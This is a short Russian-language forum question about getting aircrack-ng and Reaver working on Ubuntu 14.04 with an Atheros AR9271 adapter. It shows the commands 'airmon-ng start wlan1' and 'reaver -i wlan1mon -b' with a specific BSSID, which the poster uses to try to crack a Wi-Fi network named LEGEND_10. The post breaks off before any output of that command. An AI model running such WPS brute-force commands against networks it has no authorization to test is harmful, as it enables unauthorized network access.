Проблема с aircrack-ng?

Я использую Ubuntu 14.04 LTS.

Беспроводной адаптер: Atheros Communications, Inc. AR9271 802.11n

Беспроводной драйвер: Ath9k_htc

Версия Aircrack: Aircrack-ng-1.2-Rc1

Версия Reaver: Reaver-1.4

(libpcap0.8_1.4.0-2_i386, Sqlite3-dev и другие необходимые библиотеки также установлены)

Проблема: Когда я запускаю команду "airmon-ng start wlan1", она выдает следующий вывод:

root@legend-N150P:~# airmon-ng start wlan1
Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

Затем я ввел команду "airodum-ng wlan1mon", которая выдает следующий вывод:

Теперь я хочу взломать сеть с ESSID: LEGEND_10... Для этого я ввел команду "Reaver -i wlan1mon -b 5C:F9:6A:C4:88:DE -vv". Это дает следующий вывод:

root@legend-N150P:~# reaver -i wlan1mon -b 5C:F9:6A:C4:88:DE -vv
